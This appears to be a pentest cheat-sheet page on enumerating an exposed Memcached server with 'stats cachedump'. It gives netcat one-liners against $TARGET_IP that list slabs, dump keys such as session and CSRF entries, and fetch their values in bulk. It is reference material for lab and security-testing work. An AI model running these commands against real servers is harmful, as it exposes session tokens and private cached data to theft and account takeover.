Skip to content
HackIndex logo

HackIndex

Memcached Key Dump with stats cachedump

2 min read Feb 25, 2026

stats cachedump is the old-school slab-based key dump. It’s still useful in labs and older deployments, but it’s noisy, limited, and increasingly disabled.

Notice

stats cachedump is treated as a last-resort debugging command in the memcached ecosystem. Prefer lru_crawler metadump when available.

Get active slab IDs

┌──(kali㉿kali)-[~]
└─$ printf "stats items\r\nquit\r\n" | nc -nv -w 3 $TARGET_IP ${PORT:-11211} | grep -Eo 'items:[0-9]+' | cut -d: -f2 | sort -nu

This prints slab IDs you can target.

Dump keys from a slab

Pick a slab ID from the previous output.

┌──(kali㉿kali)-[~]
└─$ SLAB_ID=1
┌──(kali㉿kali)-[~]
└─$ printf "stats cachedump $SLAB_ID 200\r\nquit\r\n" | nc -nv -w 3 $TARGET_IP ${PORT:-11211} 
ITEM session:9f3c... [248 b; 1700000000 s]
ITEM csrf:... [64 b; 1700000000 s]
END

Interpretation:

  • The bracket shows value size and expiry timestamp. Prioritize keys with longer expiry or 0 style expiry where applicable.

Pull values for dumped keys

Extract keys from cachedump output and fetch values:

┌──(kali㉿kali)-[~]
└─$ SLAB_ID=1
┌──(kali㉿kali)-[~]
└─$ KEYS=$(printf "stats cachedump $SLAB_ID 200\r\nquit\r\n" | nc -w 3 $TARGET_IP ${PORT:-11211} | awk '/^ITEM /{print $2}' | tr '\n' ' ')
┌──(kali㉿kali)-[~]
└─$ printf "get $KEYS\r\nquit\r\n" | nc -nv -w 3 $TARGET_IP ${PORT:-11211}

Common failure modes

Cachedump is disabled

You may see errors instead of ITEM lines.

Cachedump does not return everything

Even when it works, it is not a complete dump. Memcached does not guarantee it can enumerate all keys reliably via this mechanism.

References